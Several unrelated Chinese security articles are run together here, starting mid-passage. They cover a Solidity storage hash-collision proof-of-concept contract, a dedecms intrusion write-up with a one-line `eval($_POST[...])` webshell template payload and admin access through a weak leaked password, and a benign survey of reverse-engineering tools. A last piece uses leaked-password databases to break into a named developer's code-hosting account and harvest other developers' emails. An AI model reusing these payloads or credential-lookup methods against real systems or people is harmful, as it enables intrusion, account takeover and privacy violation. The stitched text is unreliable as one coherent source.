value 存在于 Storage 中，那么就直接 PUSH 0，直接压入 0！！！所有的临时变量都通过这条路径，换而言之，所有的临时变量 slot 都是
0 。
void ContractCompiler::appendStackVariableInitialisation(VariableDeclaration const& _variable)
{
CompilerContext::LocationSetter location(m_context, _variable);
m_context.addVariable(_variable);
CompilerUtils(m_context).pushZeroValue(*_variable.annotation().type);
}
笔者目前还不能理解这样设计的原因，猜测可能是因为 storage 本身稀疏数组的关系，不便于通过其他额外变量来控制 slot
位置，但是以目前这样的实现，其问题应该更多。
与之相对的全局变量的编译，函数调用栈如下
> solc.exe!dev::solidity::ContractCompiler::initializeStateVariables(const dev::solidity::ContractDefinition & _contract) Line 403 C++
solc.exe!dev::solidity::ContractCompiler::appendInitAndConstructorCode(const dev::solidity::ContractDefinition & _contract) Line 146 C++
solc.exe!dev::solidity::ContractCompiler::packIntoContractCreator(const dev::solidity::ContractDefinition & _contract) Line 165 C++
solc.exe!dev::solidity::ContractCompiler::compileConstructor(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts) Line 89 C++
solc.exe!dev::solidity::Compiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts, const std::vector<unsigned char,std::allocator<unsigned char> > & _metadata) Line 44 C++
solc.exe!dev::solidity::CompilerStack::compileContract(const dev::solidity::ContractDefinition & _contract, std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _compiledContracts) Line 730 C++
solc.exe!dev::solidity::CompilerStack::compile() Line 309 C++
solc.exe!dev::solidity::CommandLineInterface::processInput() Line 837 C++
solc.exe!main(int argc, char * * argv) Line 59 C++
关键函数为 StorageItem::StorageItem ，函数从 storageLocationOfVariable 中获取全局变量在 storage
中的 slot
StorageItem::StorageItem(CompilerContext& _compilerContext, VariableDeclaration const& _declaration):
StorageItem(_compilerContext, *_declaration.annotation().type)
{
auto const& location = m_context.storageLocationOfVariable(_declaration);
m_context << location.first << u256(location.second);
}
#### HASH 碰撞
如前文中提到的，使用 struct 和 array 的智能合约存在出现 hash 碰撞的可能。
一般来说 sha3 方法返回的 hash 是不会产生碰撞的，但是无法保证 hash(mem1)+n 不与其他 hash(mem2)
产生冲突。举个例子来说有两个 map
struct Account{
string name；
uint ID;
uint amount;
uint priceLimit;
uint total;
}
map<address, uint> balances; // slot 0
map<string, Account> userTable; // slot 1
在存储 balances[key1] = value1 时计算 sha3(key1,0) = hash1; Storage[hash1] = value1
。
存储 userTable[key2] = account 时计算 sha3(key2,1) = hash2; 。
hash1 和 hash2 是不相同的，但是 hash1 和 hash2 很有可能是临近的，相差很小，我们假设其相差 4 。
此时实际存储 account 时，会依次将
Account.name、Account.ID、Account.amount、Account.priceLimit、Account.total存放在
storage 中 hash2、hash2+1、hash2+2、hash2+3、hash2+4 的位置。而 hash2+4 恰恰等于 hash1 ，那么
Account.total 的值就会覆盖之前存储在 balances 中的内容 value1。
不过通过 struct 攻击只是存在理论上可能，在实际中找到相差很小的 sha3 是很难的。但是如果将问题转化到 array 中，就有可能实现真实的攻击。
因为在 array 中，数组的长度由数组对象第一个字节中存储的数据控制，只要这个值足够大，攻击者就可以覆盖到任意差距的 hash 数据。
pragma solidity ^0.4.23;
contract Project
{
mapping(address => uint) public balances; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
uint[] stateVar;
function Resolve() returns (bytes32){
balances[msg.sender] = 10000000; // 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c -> 0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d
return sha3(bytes32(msg.sender),bytes32(0));
}
function Resize(uint i){
stateVar.length = 0x92b6e4f83ec43f4bc9069880e92f6ea53e45d964038b04cc518a923857c1b79c; // 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace
}
function Rewrite(uint i){
stateVar[i] = 0x10adbeef; // 0x11a3a8a4f412d6fcb425fd90f8ca757eb40f014189d800d449d4e6c6cec4ee7f = 0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace
}
}
当前的 sender 地址为 `0x14723a09acff6d2a60dcdf7aa4aff308fddc160c` ,
balance[msg.sender] 存储的位置为
`0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d`。 调用
Resize 方法将数组 stateVar 的长度修改，数组的存储位置在
`0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace`。
最后调用合约方法 Rewrite 向数组赋值，该操作会覆盖 balance 中的内容，将地址为 sender 的值覆盖。
#### 实际内存
最后我们来看一下实际内存的管理情况。无论以太坊区块链的上层技术如何高深，内存终归是需要落地的，最终这些数据还是需要存储在实际的物理内存中的。因此我们通过源码，实际分析
storage 部分的存储情况。EVM 的源码在 <https://github.com/ethereum/cpp-ethereum>
### 流程分析
1、 EVM 的返回值是通过 EVM 传递的，一般的在 Memory 偏移 0x40 的位置保存着返回值地址，这个地址上保存着真实的返回值
2、Storage 在最底层的实现上是一个 STL 实现稀疏数组，将 slot 值作为 key 来存储值
3、在 Storage 中的 Map 和 变长 Array 均是以 hash 值作为最底层稀疏数组的索引来进行的。 其中变长数组的索引方式为
hash(array_slot) + index 而 Map 的索引方式为 hash(map_slot, key) ，当 Value 为 Struct 时
Struct 成员会分别存储，每个成员的索引为 hash(map_slot, key) + offset
### 代码分析
#### STORAGE
Storage 部分内存是与合约代码共同存储在区块中的内存，因此 storage 内存消耗的 gas 回相对较多，我们通过 SLOAD 指令查看
Storage 在区块上的存储方式
SLOAD 指令在函数 interpretCases 中进行处理，当 EVM 解析到 SLOAD 指令后，首先从栈中获取栈顶元素作为 storage 访问的
key，然后调用函数 getStorage 进行实际访问
case SLOAD:
evmc_uint256be key = toEvmC(m_SP[0]);
evmc_uint256be value;
m_context->fn_table->get_storage(&value, m_context, &m_message->destination, &key);
m_SPP[0] = fromEvmC(value);
evmc_context_fn_table const fnTable = {
accountExists,
getStorage,
setStorage,
getBalance,
getCodeSize,
copyCode,
selfdestruct,
eth::call,
getTxContext,
getBlockHash,
eth::log,
};
getStorage 函数接收四个参数，第一个参数为返回地址，第二个参数是当前调用的上下文环境，第三个参数是此次交易信息的目的地址即合约地址，第四个参数是
storage 的索引 key
函数首先对 address 进行验证，保证当前的上下文就是处于合约地址的空间内，接着再调用 env.store 实际获取数据
void getStorage(
evmc_uint256be* o_result,
evmc_context* _context,
evmc_address const* _addr,
evmc_uint256be const* _key
) noexcept
{
(void) _addr;
auto& env = static_cast<ExtVMFace&>(*_context);
assert(fromEvmC(*_addr) == env.myAddress);
u256 key = fromEvmC(*_key);
*o_result = toEvmC(env.store(key));
}
virtual u256 store(u256 _n) override final { return m_s.storage(myAddress, _n); }
最终工作来到 State::storage 中
u256 State::storage(Address const& _id, u256 const& _key) const
{
if (Account const* a = account(_id))
{
auto mit = a->storageOverlay().find(_key);
if (mit != a->storageOverlay().end())
return mit->second;
// Not in the storage cache - go to the DB.
SecureTrieDB<h256, OverlayDB> memdb(const_cast<OverlayDB*>(&m_db), a->baseRoot()); // promise we won't change the overlay! :)
string payload = memdb.at(_key);
u256 ret = payload.size() ? RLP(payload).toInt<u256>() : 0;
a->setStorageCache(_key, ret);
return ret;
}
else
return 0;
}
函数首先根据 address 获取对应的 Account 对象
Account* State::account(Address const& _addr)
{
auto it = m_cache.find(_addr); // m_cache 使用 unordered_map 作为存储结构， find 返回 pair<key, value> 迭代器，迭代器 it->frist 表示 key ; it->second 表示 value
if (it != m_cache.end())
return &it->second;
if (m_nonExistingAccountsCache.count(_addr)) // m_nonExistingAccountsCache 用于记录那些在当前环境下不存在的 addr
return nullptr;
// Populate basic info.
string stateBack = m_state.at(_addr); // m_state 即为 StateDB ，以 addr 作为 key 获取这个 account 相关的信息，StateDB 中的数据已经格式化成了 string
if (stateBack.empty())
{
m_nonExistingAccountsCache.insert(_addr);
return nullptr;
}
clearCacheIfTooLarge();
RLP state(stateBack); // 创建 RLP 对象。交易必须是正确格式化的RLP。”RLP”代表Recursive Length Prefix，它是一种数据格式，用来编码二进制数据嵌套数组。以太坊就是使用RLP格式序列化对象。
auto i = m_cache.emplace(
std::piecewise_construct,
std::forward_as_tuple(_addr),
std::forward_as_tuple(state[0].toInt<u256>(), state[1].toInt<u256>(), state[2].toHash<h256>(), state[3].toHash<h256>(), Account::Unchanged)
); // 把这个 addr 以及其对应的数据加入到 cache 中，使用逐片构造函数
m_unchangedCacheEntries.push_back(_addr);
return &i.first->second; // 返回这个 account
}
下面的注释是部分 Account 对象的说明 ,Account 对象用于表示一个以太账户的状态，Account 对象和 addr 通过 Map 存储在
State 对象中。 每一个 Account 账户包含了一个 storage trie 用于索引其在整个 StateDB 中的节点，Account 对于
storage 的操作会首先在 storageOverlay 这个 map 上进行，待之后有需要时才会将数据更新到 trie 上
/**
* Models the state of a single Ethereum account.
* Used to cache a portion of the full Ethereum state. State keeps a mapping of Address's to Accounts.
*
* Aside from storing the nonce and balance, the account may also be "dead" (where isAlive() returns false).
* This allows State to explicitly store the notion of a deleted account in it's cache. kill() can be used
* for this.
*
* For the account's storage, the class operates a cache. baseRoot() specifies the base state of the storage
* given as the Trie root to be looked up in the state database. Alterations beyond this base are specified
* in the overlay, stored in this class and retrieved with storageOverlay(). setStorage allows the overlay
* to be altered.
*
回到 State::storage 函数，在获取了 Account 之后查看 Account 的 storageOverlay 中是否有指定 key 的
value ，如果没有就去 DB 中查找，以 Account->m_storageRoot 为根，从 State->m_db 中获取一个 db
的拷贝。在这个 tire 的拷贝中查找并将其 RLP 格式化之后存在 m_storageOverlay 中
可以看到在实际数据同步到区块上之前，EVM 为 storage 和 account 均提供了二级缓存机制用以提高访存的效率：
* storage： 一级缓存->account->m_storageOverlay; 二级缓存->state->m_db
* account: 一级缓存->state->m_cache; 二级缓存->state->m_state
同样我们从存储 Storage 的入口点 SSTORE 开始进行分析, 主体函数为 VM::interpretCases , SSTORE opcode
最终会访问一个 unordered_map 类型的 hash 表
void VM::interpretCases(){
// .....
CASE(SSTORE)
{
ON_OP();
if (m_message->flags & EVMC_STATIC)
throwDisallowedStateChange();
updateSSGas();
updateIOGas();
evmc_uint256be key = toEvmC(m_SP[0]);
evmc_uint256be value = toEvmC(m_SP[1]);
m_context->fn_table->set_storage(m_context, &m_message->destination, &key, &value);
}
NEXT
// .....
}
|- evmc_context_fn_table const fnTable = {
accountExists,
getStorage,
setStorage,
getBalance,
getCodeSize,
copyCode,
selfdestruct,
eth::call,
getTxContext,
getBlockHash,
eth::log,
};
void setStorage(
evmc_context* _context,
evmc_address const* _addr,
evmc_uint256be const* _key,
evmc_uint256be const* _value
) noexcept
{
(void) _addr;
auto& env = static_cast<ExtVMFace&>(*_context);
assert(fromEvmC(*_addr) == env.myAddress);
u256 index = fromEvmC(*_key);
u256 value = fromEvmC(*_value);
if (value == 0 && env.store(index) != 0) // If delete
env.sub.refunds += env.evmSchedule().sstoreRefundGas; // Increase refund counter
env.setStore(index, value); // Interface uses native endianness
}
|- void ExtVM::setStore(u256 _n, u256 _v)
{
m_s.setStorage(myAddress, _n, _v);
}
|-
void State::setStorage(Address const& _contract, u256 const& _key, u256 const& _value)
{
m_changeLog.emplace_back(_contract, _key, storage(_contract, _key));
m_cache[_contract].setStorage(_key, _value);
}
|-
class Account{
// ...
std::unordered_map<u256, u256> m_storageOverlay;
// ...
void setStorage(u256 _p, u256 _v) { m_storageOverlay[_p] = _v; changed(); }
// ...
}
#### MEMORY
依旧从 MSTORE 入手，查看 EVM 中对 memory 的处理
CASE(MSTORE)
{
ON_OP();
updateMem(toInt63(m_SP[0]) + 32);
updateIOGas();
*(h256*)&m_mem[(unsigned)m_SP[0]] = (h256)m_SP[1];
}
NEXT
可以看到 memory 只在当前运行环境中有效，并不存储在与 state 相关的任何位置，因此 memory 只在当前这次运行环境内生效，即 Memory
只在一次交易内生效
#### CODE
code 与 storage 类似，也是与 Account 相关的，因此 code 也会存储在 Account 对应的结构中，一级缓存为
account->m_codeCache； 二级缓存存放位置 state->m_db[codehash]，
void State::setCode(Address const& _address, bytes&& _code)
{
m_changeLog.emplace_back(_address, code(_address));
m_cache[_address].setCode(std::move(_code));
}
### 总结
虽然 hash 碰撞的问题出现在了一起类似 CTF 的“盗币”比赛中，但是我们也应该重视由于 EVM 存储设计问题而带来的变量覆盖以及 hash
碰撞之类的问题，希望各位智能合约的开发者们在开发中关注代码中的数据存储，避免由于此类问题带来的损失。
### Timeline
6月28日——发现存在变量覆盖以及 hash 碰撞问题
11月6日——发现存在 hash 碰撞问题的合约
### Reference
[1] <https://github.com/ethereum/solidity/issues/1550> [2]
<https://lilymoana.github.io/ethereum_theory.html> [3]
<https://github.com/FISCO-BCOS/Wiki/tree/master/%E6%B5%85%E8%B0%88Ethereum%E7%9A%84%E5%AD%98%E5%82%A8#StateDB%E6%A8%A1%E5%9D%97>
[4] <https://github.com/ethereum/cpp-ethereum>
* * * | 社区文章 |
### 前言：
此次渗透中的所有修改已经复原，且漏洞已经提交至cnvd平台
### 源码泄露
在一个月黑风高的夜晚，闲来无事的我又开着脚本利用hunter进行互联网站点源码的扫描
在查看备份文件扫描结果时，看到了宝贝
二话不说，访问下载得到源码！
**可以在注释信息处发现dedecms的痕迹**
#### 敏感信息泄露
**获得源码的第一步当然是获取敏感信息**
先尝试全局搜索（crtl+shift+f）关键词
key
pwd
passwd
password
1.数据库信息泄露
2.后台管理员密码泄露
md5解密尝试解密，居然是一个弱口令
有了账户密码后当然是要找到后台管理地址，那么有了源码后台管理地址还不是手到擒来？
### 后台RCE->getshell
源码中找到后台地址（居然改了个888）
用泄露的admin/admin888进入后台后，发现版本信息为dedecms PS1
#### 历史漏洞
既然已经获得了cms信息，第一步当然看看他的历史漏洞
查找SP1历史漏洞都是远程代码包含漏洞，但是这个站点已经将关键文件install.php删除（源码中不存在）
抱着侥幸心里又去尝试访问l一下（说不定后来又加上了呢）确实不存在，只能继续查看其他功能点
然后也尝试测试了许多SP2的漏洞payload但均失败
#### 继续测试其他点
继续查看发现系统设置->系统基本参数->其他选项中有模板引擎的禁用函数
但是明明没有模板引擎功能他为什么要禁用呢？
我带着这个疑问又重新翻看源码
果然又找到 **模板相关文件** ，（说明只是功能点被隐藏，文件依旧还在）
尝试访问，成功访问到并且能够正常执行
那么就好办了，根据dedecms模板规则，后台模板写入payload，访问即可执行PHP代码
{dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}
//调用方式 [field:字段名/] 这里的关键是runphp='yes'
//php代码则是简单的一句话
然后去将其他选项中的禁用函数全部删除保存
因为注入到了index.htm
所以连接webshell 的 url为首页
http://xxxxx:9890/index.php
成功getshell
本来还应该通过 **源码泄露得到的数据库账户密码尝试连接数据库** 的，但这里删shell跑路太急了就忘记了测了 | 社区文章 |
# 【技术分享】逆向工具综述（上）
##### 译文声明
本文是翻译文章，文章来源：pelock.com
原文地址：<https://www.pelock.com/articles/reverse-engineering-tools-review>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[overXsky](http://bobao.360.cn/member/contribute?uid=858486419)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
传送门：[【逆向工具综述（下）】](http://bobao.360.cn/learning/detail/3307.html)
**前言**
本文主要列举了在逆向工程中经常用到的各种调试分析软件，将其分门别类整理成八大部分。译者在翻译的过程中也根据实际经验补充（加*）了几款很强大的工具来丰富内容。其中提到的软件主要限于主流的桌面操作系统，如Windows、Linux等，不包括Android、IOS等移动平台逆向工具（但其中Java逆向部分也涉及到了一些在Android逆向中会用到的工具）。通过阅读本文，希望各位学习、从事逆向行业的人员，不仅能够在已有的知识体系范围内巩固技能，也能够拓宽眼界接触到国外的逆向行业，看看外国佬们平时都热衷于用哪些工具来进行工作。俗话说的好：“工欲善其事，必先利其器”！
**由于全文篇幅较大，先将整体的文章结构列成目录如下：**
一、逆向工程简述
二、类别1：身份识别
2.1 Detect It Easy
2.2 ProtectionID
2.3 YARA GUI
三、类别2：反汇编和反编译
3.1 IDA and Hex-Rays
3.2 .NET Reflector
3.3 dnSpy
3.4 Java Decompiler
3.5 JustDecompile
3.6 ReFox
3.7 VB Decompiler
3.8 IDR
四、类别3：调试器
4.1 OllyDbg
4.2 x64dbg
4.3 DILE
五、类别4：十六进制编辑器
5.1 HIEW
5.2 Hex Workshop
5.3 HxD
六、类别5：资源修改器
6.1 FX Resource Hacker
6.2 Resource Tuner
6.3* Dependency Walker
七、类别6：编辑器和支持工具
7.1 PE-Bear
7.2 PeStudio
7.3 dirtyJOE
7.4* PEiD
7.5* PEView
八、类别7：提取器和分离器
8.1 Universal Extractor
8.2 MultiExtractor
九、类别8：虚拟环境
9.1 VMware
9.2 Sandboxie
9.3* Parallels Desktop
十、这里并不是结束，这里才刚刚开始…
****
**一、逆向工程简述**
逆向工程，在这里更为确切地应该称之为“软件逆向”，是一系列用来分析闭源软件的技术，目的是为了获取一些看上去本来难以获得的软件信息、算法、被隐藏的许可密码或是文件采用的加密方式等等有用信息。
逆向工程的应用领域包含软件安全漏洞的挖掘（从而利用）、恶意软件的分析（对于反病毒开发者），或是软件和游戏的本土语言化，当然这些例子只是一小部分而已。
高级的软件分析技术需要文件结构校检的知识，所以最常见的可执行文件的文件格式的知识是必需的，比如说Windows系统下的PE文件格式或者Linux系统下的ELF文件格式。同时逆向工程还必须得有一定的32位和64位汇编基础，不然很难去理解将闭源软件中经过编译过的代码反汇编出来的二进制代码。
当然，仅仅拥有基础知识是远远不够的，我们还需要合适的逆向工具的支持，这也将是本文的核心所在。本文将会把常用的逆向工程专用工具分门别类来一一介绍。其实有很大一部分的工具都完全有资格被单独拿出来写一篇文章，但是我的目的不在于此，而是想尽可能的涵盖更多不同类型的软件和各种各样的使用方法以飨读者。
顺便再说一下，逆向工程软件因其复杂的特性和开发的困难性，往往导致它本身售价十分昂贵。我会尽量提供一些可选的方案和免费的替代版本来让大家选择。
**类别1：身份识别**
编程语言和相应的编译器种类繁多，除了使用脚本语言开发出来的软件（比方说当下很火的Python），其他的高级语言编译器生成的代码因具有自身特性而很容易通过工具检测出来。当然这里不考虑经过多种多样的软件保护措施处理过后生成的二进制磁盘文件。
当我们不确定手上的这个软件是用什么语言开发的时候，而我们也不具有判断被编译过的文件的特性（比如段名称、导入表等）的专业知识，这个时候身份识别工具就派上用场了，它能快速地检测出结果从而让我们决定下一步该干什么（解包、脱壳等等）。
**Detect It Easy**
DIE检测器具有一个囊括了当下广为流行安全系统的数据库，包含了exe-packers， exe-protectors以及其他许多流行的编译器和链接器的签名。另外它还内置了一个简易的脚本，可以让我们快速地加入新的自定义签名。同时它也包含一个PE可执行文件的结构查看器。
图1：Detect it easy 文件检测器
**Protection ID**
这款名为Protection
ID的检测器主要针对于游戏系统的安全性检测。它拥有一个庞大的数据库，囊括了几乎所有可能的安全系统、编译器和链接器。尽管它的用户界面看起来有点简陋，但是它经常会更新内容，而且不可否认的是其功能十分强大！
图2：Protection ID文件检测器
**YARA GUI**
YARA GUI是一款具有Windows图形界面的软件，主要用于流行的二进制模式匹配以检测库和文件格式。
图3：YARA GUI签名检测器
**类别2：反汇编和反编译**
当知道我们在处理什么的时候，或者更精确的说是已经知道了当前的软件所使用的编程语言和编译器，我们接下来就要开始使用反汇编器和反编译器。他们的作用是分析并使用便于人类理解阅读的方式呈现出经过编译的二进制文件的代码结构。
多亏了以上的过程，现在我们可以纵观整个程序的功能、包含了什么字符串以及哪一段代码引用了这些字符串、哪些程序外部的操作系统函数被调用了或者哪些函数被导出了（比如在使用了DLL动态链接库的情况下）。
反汇编器的作用是以底层汇编器的形式（原文是in the for of，应该是in the form
of之误）描述程序代码，所以用C++、Dephi、Visual
Basic或者其他高级编程语言写的软件被编译成原生机器代码后，反汇编器会以x86或x64的形式向我们展示对应汇编代码。
反编译则没有反汇编这么容易了，它只能尽最大可能还原初始高级语言代码。也正是因为各自功能的目标不同，一个是生成汇编代码一个是生成高级语言代码，后者的复杂性可想而知。以C++为例，其中的数据结构、类型声明和代码结构想要从编译后的代码中再重新获得，其复杂性不言而喻。也正因如此，反编译器的数量少之又少，且功能实用的反编译器一般都价格昂贵。
反编译器可以按照他们能够分析的软件类别进行划分，像是C#、VB、Java等语言生成的目标代码只是中间形式，并不能直接被x86这样的处理器执行，而是依赖于对应语言的虚拟机来完成执行（比如.NET
Framework 和JVM），因此这种中间形式的目标代码是一种伪代码（pseudo code，故而有P-Code一词）。
这种中间形式的伪代码将大多数信息以伪指令和伪元数据的形式来存储，并因其远简单于x86和x64代码而使得反编译变得极为容易。这也导致了很多专用反编译器的诞生，它们能够轻易地得到未保护软件的源码。对于这些语言的开发者来说，这种技术的存在无疑是一种噩梦。
以上做了一些简单的介绍，下面就将呈现一些最流行的反汇编器和反编译器以及它们的使用说明。
**IDA和Hex-Rays**
IDA简写于Interactive
DisAssembler，它是逆向领域无可争议的老大哥。IDA是一个拥有内置60多种类型代码分析的反汇编器。它还拥有自己的脚本语言和庞大的主流编程语言签名库，同时也提供插件功能来增强功能（比如Python写的脚本）。
图4：IDA的反汇编和反编译窗口
最广为人知也最有价值的IDA插件非Hex-Rays莫属，它同时支持x86、x64、ARM平台的反编译，可谓是无价之宝。
IDA拥有很多硬件平台的内置调试器，无疑是为这个完美的多功能文件分析工具锦上添花。
**.NET Reflector**
当我们需要分析处理使用.NET Framework的软件时（如C#或VB.net），.NET
Reflector会帮上大忙。我们可以通过它快速高效地一窥软件架构。
.NET
Reflector的最大优势在于它有一个小而精悍的插件库，比如其中就有一个插件，能够通过反编译过的软件代码重建整个VS工程。另外，因其与Microsoft
Visual Studio的集成，它可以同时调试自己的代码和封闭库的代码。
.NET
Framework反编译软件的简单性催生了许多安全工具，当然在这里我们讨论的是从编译过的程序中移除元数据这一类的数据混淆技术，它可以修改中间代码（即IL
code——[Intermediate
Code](https://www.techopedia.com/definition/24290/intermediate-language-il-net)）、可以加密文本字符串，等等。如果我们偶然碰见这样一个程序，我们得首先熟知de4dot
反混淆器的相关技巧，以便令其自动解除施加在其上的花样繁多的混淆保护。
图5：.NET Reflector反编译器窗口
**dnSpy**
它是.NET反编译的真正主力，拥有内置的代码编辑器和调试器。不止如此，直观且现代化的界面以及免费的使用许可非常具有吸引力。
图6：dnSpy反编译和调试窗口
**Java Decompiler/JD-GUI**
顾名思义，Java Decompiler是一款Java的反编译器，它可以查看编译过的.class字节码文件或是全部的.jar包。
它有一个非常有用的搜索引擎，通过规则丰富的过滤器搜索名称、类型、构造器、作用域、方法和文本字符串等。
除了软件本身之外，它还提供了Eclipse 和 IntelliJ IDEA开发环境的插件，这样在IDE中也可以查看编译过的模块了。
如果你曾经用过或是一直在用大名鼎鼎的反编译软件JAD（从2001年后就没有更新过了），那么现在是时候放下你手上的工具转到JD-GUI
上来了。它不仅支持Java的新元素，对于编译过的项目的导航也十分简单且使人乐在其中。
值得一提的是，就像.NET一样，Java代码如果也经过了混淆处理的保护，那么反编译软件的效果将大打折扣，极端情况下甚至会失效。
图7：Java Decompiler（又名JD-GUI）
**JustDecompile**
这款软件是之前提到过的商业软件.NET Reflector的免费替代版本，使用Telerik
的UI组件开发。免费并不意味着劣质，它拥有内置的参考搜索引擎，还可以从反编译的源代码生成工程的能力。支持插件扩展，包括前面提到过的de4dot反混淆插件。
图8：Just Decompile反编译器
**
**
**ReFox**
ReFox针对的是使用微软的Visual
FoxPro数据库编程环境创建的软件。这是一种在等同环境下比较小众的解决方案，但目前并没有更好的替代方案来解决这个问题，主要原因是曾经存在过的一些类似软件早已不再更新并且无法支持最新的VFP软件。ReFox允许对类进行反编译、查看表和内置数据。
图9：ReFox反编译器
**VB Decompiler**
通过VB 5和VB
6创建的软件已经是过去式了，但是其基于伪代码（P-Code）的内在代码结构却成为了.NET技术的摇篮。最开始这确实导致了一些问题，因为根本没有专门的可以用来分析VB的工具，而VB
Decompiler的诞生略晚于市场需求，但在实际应用中当我们需要将VB应用程序（EXE、DLL、OCX控制）生成伪代码时，它的地位是不可替代的。
图10：VB Decompiler
**IDR**
IDR缩写于Interactive Delphi
Reconstructor，是一款Delphi环境下的反汇编和反编译工具。与IDA相比它更为出众的地方在于它能够分析Dephi代码的内部结构，内置了窗体查看器，从而可以方便快速地找到分配到窗体上的控制事件（比如按钮1的OnClick事件）。IDR拥有庞大的标准Dephi环境签名库，且涵盖所有Delphi版本，所以在最终输出时我们能够看到简单易读的函数名。
图11：Dephi的反汇编和反编译器——IDR
**类别3：调试器**
作为一个程序员，迟早都得接触到他最喜欢的编程语言环境下的调试器的相关功能，多亏了调试器的存在我们可以实时跟踪到应用程序的运行情况，看看其中的指令是如何影响内存和变量或者发现潜在的错误的。当调试我们自己的软件时，我们往往掌握着源码并在高层调试即可，与之相比，在我们并没有源码的情况下想要调试软件就没有那么容易。这时专门的调试软件就派上用场了，它能够对二进制形式的软件做一系列的高级分析，正因为软件是经过编译的，所以这也意味着使用者需要对底层的语言和处理器的工作方式有所了解。
**OllyDbg**
事实上，OD可以说是在逆向工程界Windows平台上的标准调试器（除了IDA内置的调试器）。它不仅能够分析软件代码还能干预到程序运行的几乎每一个方面。
OllyDbg还包括一些强大而有趣的功能，它允许条件化代码追踪，它拥有庞大的插件库，其中就有让反调试技术无所遁形的Phant0m
插件，有控制OD在脚本层运行的ODbgScript插件，而且光是脚本这一项（通常用于未受保护的应用程序解包）就有成百上千个。
OllyDbg的流行的事实无可非议，因为确实找不出第二个像OllyDbg一样拥有如此多的插件的调试器，即使是曾经的传奇SoftICE
系统调试器望尘莫及。还有一个有趣的软件叫做Immunity
Debugger，它是内置了Python脚本支持的OllyDbg特殊版本，主要用途是分析恶意软件和创建exploit。
目前OllyDbg有两个版本，旧版版本号为1.10，新版2.01有了更多的扩展支持，现在正越来越流行。但是以上的版本都只支持32位的，不过有个好消息是因为64位系统的广泛流行一个新的64位版本OllyDbg正在开发中。
图12：OllyDbg v1.10
图13：OllyDbg v2.01
**x64dbg**
x64dbg其实包含两个调试器，一个针对64位软件调试而另一个针对32位软件。它拥有现代化的界面，大量的配置选项，内部引擎基于现代化编程库开发（如TitanEngine,
Capstone Engine, Keystone Engine）。
x64dbg支持的特性数量繁多，让人印象深刻。包括插件、内置脚本语言、Yara签名扫描、内置反编译器等等。它的发展十分积极。考虑到64位的OllyDbg一直都处于开发的状态中，x64dbg已经成为标准的64位软件调试器。
图14：调试器x64dbg
**
**
**DILE**
.NET Framwork软件的调试器。这是一个非常鲁棒的软件（稳定性不好），但在某些情况下却是无价的。它的界面看起来像是Visual
Studio的内置调试器。这里非要提到它的一个原因是它是为数不多的可以在没有源代码的情况下调试.NET
Framwork软件的工具之一。当然，前面提到的.NET Reflector也可以通过Deblector插件来完成调试功能。
图15：.NET-DILE软件调试器
（未完待续……）
传送门：[【逆向工具综述（下）】](http://bobao.360.cn/learning/detail/3307.html) | 社区文章 |
信息收集之SVN源代码社工获取及渗透实战
antian365.com simeon
在对某一个目标进行渗透时，通过前期信息收集，发现该用户的代码托管在阿里云代码中心。如果渗透时能够获取源代码，那对整个渗透将如虎添翼，通过笔者的探索，可以
有两种方法来获取。
第一种方式是直接获取泄漏的公开源代码，这种方式相对简单，只要用户未对代码进行保护，可以通过svn工具来自己获取完整的代码，当然也可以通过code.taobao.org进行在线查看和浏览。
第二种方式就是通过社工等方法来获取开发人员的账号和密码，通过svn工具登录来获取所有完整的源代码。
1.公开源代码获取
（1）搜索用户和项目关键字
如图1所示，在<http://code.taobao.org页面上，可以项目和用户名为关键字进行搜索，获取相关信息，这对初学者来说，获取源代码进行学习和借鉴很有意义。>
图1使用关键字进行搜索
（2）浏览源代码
如果用户公开了源代码和数据，则可以在搜索结果中单击项目名称或者用户名称来获取更多的详细信息，如图2所示，通过查看其代码，成功获取数据库连接等敏感信息。
图2获取源代码中的敏感信息
2.社工查询获取密码
（1）查询用户名以及相关信息
打开社工库查询网站<http://cha.hx99.net/，在其中搜索关键字“57****143”，如图3所示，成功获取以“57****143”为关键字的10条信息，其中有个人邮箱信息，公开泄漏的密码信息：gao**007和gao**1987，其中还有很多加“*”的未解密码。提供社工查询网站可以通过缴纳一定的费用来获取其加“*”隐藏的字符串。>
图3获取密码相关信息
（2）社工库交叉查询
通过另外一个社工库网站<http://163.donothackme.club/，再次查询关键字“57****143”，获取其邮箱为57****[email protected]和密码gaobo****。>
图4交叉查询关键信息
（3）密码分析
通过两个社工库查询结果进行比对，可以获取以下信息：
57 ** **143可能注册邮箱57**** [email protected]、57 **
**[email protected]，曾经使用gaobo007和gaobo1987密码。
3.登录阿里云代码中心
使用获取的密码进行登录尝试，用户名为“57****143”，密码分别为“gaobo007”和“gaobo1987”，如图5所示成功登录其代码管理中心。
图5获取其所有项目信息
4.获取其它开发用户的信息
在站内搜索或者查看其它开发人员信息，如图6所示，对132 *****
952用户进行查看，在页面中有“发站内信”和“mail联系”，右键单击，在代码中可以获取用户“132 ***** 952”的email信息“yx
**[email protected]”，如图7所示，如果社工库强大可以继续进行社工渗透。在实际渗透中，可以在阿里云代码中心注册，然后针对性的去获取其目标信息的email信息。
